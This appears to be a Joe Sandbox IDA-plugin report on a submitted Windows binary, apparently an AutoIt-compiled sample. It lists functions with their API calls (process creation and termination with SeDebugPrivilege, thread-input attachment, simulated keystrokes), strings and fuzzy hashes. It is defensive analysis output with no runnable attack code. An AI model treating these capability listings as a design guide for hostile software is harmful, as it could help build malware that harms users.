INVALID, xrefs: 006BB58F
NOTREADY, xrefs: 006BB57C
UNKNOWN, xrefs: 006BB575
READY, xrefs: 006BB596
READONLY, xrefs: 006BB588

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 1c595e5ebd49dd836630c7fe5610cb3789a87e5b156c14f907dbe8ca756d90a4
Instruction ID: c3f33fcbc456d42aa7cde0b228d408cccf7f6041b36009c291ad63f5dd4bf45b
Opcode Fuzzy Hash: 1c595e5ebd49dd836630c7fe5610cb3789a87e5b156c14f907dbe8ca756d90a4
Instruction Fuzzy Hash: 673194B6A00205DFCB60EF68CC45EED77B6FF04311F14416AF90597291DBB19A86CB52

Function 006D61D3 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 006D61EB
GetDC.USER32(00000000), ref: 006D61F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006D61FE
ReleaseDC.USER32(00000000,00000000), ref: 006D620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 006D6246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 006D6257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,006D902A,?,?,000000FF,00000000,?,000000FF,?), ref: 006D6291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 006D62B1

Strings

@U=u, xrefs: 006D6257, 006D62B1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID: @U=u
API String ID: 3864802216-2594219639
Opcode ID: 9e616e125c8572ee09ee39e436d8a9a7de7234542e6b6a4da0c97275d9b4071f
Instruction ID: 160e7216f55a4b11bdf0a5b8cfa34f6642fb1e6888278081ce4da9b20240098d
Opcode Fuzzy Hash: 9e616e125c8572ee09ee39e436d8a9a7de7234542e6b6a4da0c97275d9b4071f
Instruction Fuzzy Hash: 0A318072501210BFEF118F54CC8AFEB3BAAEF4A765F044066FE099A291C6759D41CB74

Function 006B7990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 006B7A6C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: d3ca33e8420dd9a60a5d824c63ba5cdfd2a9c58559aaebac2e81eb84b2264de3
Instruction ID: e0f346c95020dc56a4c48d2c912103bd6755639a999b2ceee7c978e31a16279b
Opcode Fuzzy Hash: d3ca33e8420dd9a60a5d824c63ba5cdfd2a9c58559aaebac2e81eb84b2264de3
Instruction Fuzzy Hash: 43B17FB19042199FDB50DFA4C885BFEBBF6EF89321F244429E901E7251D734E981CBA4

Function 006B11CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006B11F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,006B0268,?,00000001), ref: 006B1204
GetWindowThreadProcessId.USER32(00000000), ref: 006B120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,006B0268,?,00000001), ref: 006B121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 006B122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,006B0268,?,00000001), ref: 006B1245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,006B0268,?,00000001), ref: 006B1257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,006B0268,?,00000001), ref: 006B129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,006B0268,?,00000001), ref: 006B12B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,006B0268,?,00000001), ref: 006B12BC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 11298b22fcea8ddeabbfc96cada0f9ca59f066df4f5691b96252c3ecc4cc62f6
Instruction ID: 56a6bd954d50dd66e0d1b076b5f55d272c7dc7886b9d01ca00d5cfe29191da02
Opcode Fuzzy Hash: 11298b22fcea8ddeabbfc96cada0f9ca59f066df4f5691b96252c3ecc4cc62f6
Instruction Fuzzy Hash: 653193B5A01204BBDB10AF58EC54FEA77AFEB56311F51C125F901CA2A0D7749EC18B54

Function 0065FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0065FAA6
OleUninitialize.OLE32(?,00000000), ref: 0065FB45
UnregisterHotKey.USER32(?), ref: 0065FC9C
DestroyWindow.USER32(?), ref: 006945D6
FreeLibrary.KERNEL32(?), ref: 0069463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00694668

Strings

close all, xrefs: 0065FAA1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: ba6f699e002975a6c5081e202afa15de6ce0680ecaa9318e485ed58369f061d7
Instruction ID: 3f9efab67a8b5ce3b2e93f7191ac671a0e3703b5e82e1d267f75ab91e68011ae
Opcode Fuzzy Hash: ba6f699e002975a6c5081e202afa15de6ce0680ecaa9318e485ed58369f061d7
Instruction Fuzzy Hash: 8DA17D70702212CFDB58EF14C5A5EA9F36AAF05711F1442ADE80AAB661DF30AD17CF54

Function 006C9113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006C9167
VariantInit.OLEAUT32(?), ref: 006C9238
VariantInit.OLEAUT32(?), ref: 006C9339
VariantClear.OLEAUT32(?), ref: 006C9343
VariantClear.OLEAUT32(?), ref: 006C93A0

Strings

Null Object assignment in FOR..IN loop, xrefs: 006C91C8, 006C92F6, 006C93AE
Incorrect Object type in FOR..IN loop, xrefs: 006C931C
,,n, xrefs: 006C91E5

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,n$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-2400968246
Opcode ID: 792029ac5aa8737b35d818fb9cd3b9f71e0522a39f745c344bc5b3f793e03819
Instruction ID: 4d0b05141b8ad81fe72b36191d2a8b486515e053c0d63da09aca2250b36e4352
Opcode Fuzzy Hash: 792029ac5aa8737b35d818fb9cd3b9f71e0522a39f745c344bc5b3f793e03819
Instruction Fuzzy Hash: 47919E71A00219EBDF24DFA5C848FEEB7BAEF45710F10815DF519AB280D7749945CBA0

Function 006AA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,006AA439), ref: 006AA377

Strings

TEXT, xrefs: 006AA2AE
INSTANCE, xrefs: 006AA285
CLASSNN, xrefs: 006AA119
REGEXPCLASS, xrefs: 006AA13C
CLASS, xrefs: 006AA0F6
NAME, xrefs: 006AA1A9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 8dfa1b676733b3b3790075119b460bcd012fab4ffec733ba4088e820277ab553
Instruction ID: cc2df146eb625d019519a489e6c5775e2ad313860571dd3ed58d3dc53c58b6fd
Opcode Fuzzy Hash: 8dfa1b676733b3b3790075119b460bcd012fab4ffec733ba4088e820277ab553
Instruction Fuzzy Hash: 1F919630900605EADB48EFE0C442BEDFBB6BF06300F54811ED859A7291DB316E99DFA5

Function 006D6D80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 006D6E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 006D6E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 006D6E52
_wcscat.LIBCMT ref: 006D6EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 006D6EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 006D6EF2

Strings

@U=u, xrefs: 006D6E24, 006D6E38
SysListView32, xrefs: 006D6DF6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: @U=u$SysListView32
API String ID: 307300125-1908207174
Opcode ID: 01cf14927a513e299b97a0f965fdd93f116fe803a10d49e6d07fbbd9b2087853
Instruction ID: 2b353e96ab0872a83f6495b12e63478b1263a7642be0746fe5c6e3732afdbb57
Opcode Fuzzy Hash: 01cf14927a513e299b97a0f965fdd93f116fe803a10d49e6d07fbbd9b2087853
Instruction Fuzzy Hash: 1141AE71E00349EBEB219F64CC85BEAB7EAEF08350F10452AF585E73D2D6719D848B64

Function 006C8C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,006DF910), ref: 006C8D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,006DF910), ref: 006C8D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 006C8ED6
SysFreeString.OLEAUT32(?), ref: 006C8F00

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 67ef1be122c9347cce209925474319dc25372b7b7259df07bb70c21fedfc5562
Instruction ID: edb75acad364ede8605ccb42cf7d07bae58a7edffe96eefe8f8fde2861b272da
Opcode Fuzzy Hash: 67ef1be122c9347cce209925474319dc25372b7b7259df07bb70c21fedfc5562
Instruction Fuzzy Hash: 0EF10771A00109AFCB14DF94C888EFEB7BAFF49315F14845CE905AB251DB31AE45CB61

Function 006CF694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006CF6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 006CF848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 006CF86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 006CF8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 006CF8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 006CFA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 006CFA7C
CloseHandle.KERNEL32(?), ref: 006CFAAB
CloseHandle.KERNEL32(?), ref: 006CFB22

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 9f689f3f8a643bbff56ae6cf5b4b327aecc30cef9db45d2d21b75ee783b463eb
Instruction ID: 1c3641bf96bd00ee154c76263ecec33eefab44475572ed92e679011746b313e4
Opcode Fuzzy Hash: 9f689f3f8a643bbff56ae6cf5b4b327aecc30cef9db45d2d21b75ee783b463eb
Instruction Fuzzy Hash: 47E17E31604201DFCB54EF24D891B6ABBE3EF85314F14896DF8999B2A2CB31DC45CB66

Function 006B4CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006B466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,006B3697,?), ref: 006B468B

Part of subcall function 006B466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,006B3697,?), ref: 006B46A4

Part of subcall function 006B4A31: GetFileAttributesW.KERNEL32(?,006B370B), ref: 006B4A32

lstrcmpiW.KERNEL32(?,?), ref: 006B4D40
_wcscmp.LIBCMT ref: 006B4D5A
MoveFileW.KERNEL32(?,?), ref: 006B4D75

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 844e85dc0d10e1683c8c12abe147b210a9a05e9d76d94a5d16a9cc350df1fa44
Instruction ID: f09013fa552c93184e2e7a0ebf9ed56a424511cd4d6ed592f02e33ffb456a0bb
Opcode Fuzzy Hash: 844e85dc0d10e1683c8c12abe147b210a9a05e9d76d94a5d16a9cc350df1fa44
Instruction Fuzzy Hash: 295153F24083859BC764DBA0D8919DFB3EDAF84350F00492EF589D3152EF34A688C76A

Function 006A966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 006AA84C
Part of subcall function 006AA82C: GetCurrentThreadId.KERNEL32 ref: 006AA853
Part of subcall function 006AA82C: AttachThreadInput.USER32(00000000,?,006A9683,?,00000001), ref: 006AA85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 006A968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 006A96AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 006A96AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 006A96B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 006A96D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006A96D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 006A96E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 006A96F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006A96FB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 6874320ed011e4c696dab99cbb62f782ba7a840224f09a2891ef765bf7bff6a5
Instruction ID: 9d9ea27e0055b331895f56efd97beeceaa4dea7f5b6b22f4c740aa213176011a
Opcode Fuzzy Hash: 6874320ed011e4c696dab99cbb62f782ba7a840224f09a2891ef765bf7bff6a5
Instruction Fuzzy Hash: 9F11E571D10218FEF7106F60DC49F6A3B1EDB4D750F20142AF245AB0A0C9F25C10DAA8

Function 006A8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,006A853C,00000B00,?,?), ref: 006A892A
HeapAlloc.KERNEL32(00000000,?,006A853C,00000B00,?,?), ref: 006A8931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,006A853C,00000B00,?,?), ref: 006A8946
GetCurrentProcess.KERNEL32(?,00000000,?,006A853C,00000B00,?,?), ref: 006A894E
DuplicateHandle.KERNEL32(00000000,?,006A853C,00000B00,?,?), ref: 006A8951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,006A853C,00000B00,?,?), ref: 006A8961
GetCurrentProcess.KERNEL32(006A853C,00000000,?,006A853C,00000B00,?,?), ref: 006A8969
DuplicateHandle.KERNEL32(00000000,?,006A853C,00000B00,?,?), ref: 006A896C
CreateThread.KERNEL32(00000000,00000000,006A8992,00000000,00000000,00000000), ref: 006A8986

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 6c8c9ba78aa1675703d876a55757e6379a5575fa8de2580c476876c0589e95b2
Instruction ID: 5f36299f17c22cb9dec82dd17884e90698ba8629bf38fa0486dd1542a5dfb9c7
Opcode Fuzzy Hash: 6c8c9ba78aa1675703d876a55757e6379a5575fa8de2580c476876c0589e95b2
Instruction Fuzzy Hash: CC01BBB5A41308FFE710ABA5DC4DF6B3BADEB89711F419421FA05DB1A1CA709D00CB60

Function 006C975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 006A710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?,?,006A7455), ref: 006A7127
Part of subcall function 006A710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?), ref: 006A7142
Part of subcall function 006A710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?), ref: 006A7150
Part of subcall function 006A710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?), ref: 006A7160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 006C9806
_memset.LIBCMT ref: 006C9813
_memset.LIBCMT ref: 006C9956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 006C9982
CoTaskMemFree.OLE32(?), ref: 006C998D

Strings

NULL Pointer assignment, xrefs: 006C99DB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 5b6b18cc0537923c4697b0e4e4ad9776c9fb1ee74a7f0ac56e1f4833d2ea4aa6
Instruction ID: 33982616098fcc890e55b2ff4abae8a6ca51ef5e75f30c6c21df76270c32e03b
Opcode Fuzzy Hash: 5b6b18cc0537923c4697b0e4e4ad9776c9fb1ee74a7f0ac56e1f4833d2ea4aa6
Instruction Fuzzy Hash: 25912971D00229EBDB10DFA5DC45EEEBBBAEF08710F10415AF419A7291DB719A44CFA1

Function 006CE933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 006B3C55: CreateToolhelp32Snapshot.KERNEL32 ref: 006B3C7A
Part of subcall function 006B3C55: Process32FirstW.KERNEL32(00000000,?), ref: 006B3C88
Part of subcall function 006B3C55: CloseHandle.KERNEL32(00000000), ref: 006B3D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 006CE9A4
GetLastError.KERNEL32 ref: 006CE9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 006CE9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 006CEA63
GetLastError.KERNEL32(00000000), ref: 006CEA6E
CloseHandle.KERNEL32(00000000), ref: 006CEAA3

Strings

SeDebugPrivilege, xrefs: 006CE9C2

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: e4a7a86906a16f7f37c088ea2a90d65477a6dd6b0bbb7aeb0d1a0c19d8dee44b
Instruction ID: 44f7a1714bbcc83df938475373bb4ca5b46b282d6c189bdb21883545cebf6296
Opcode Fuzzy Hash: e4a7a86906a16f7f37c088ea2a90d65477a6dd6b0bbb7aeb0d1a0c19d8dee44b
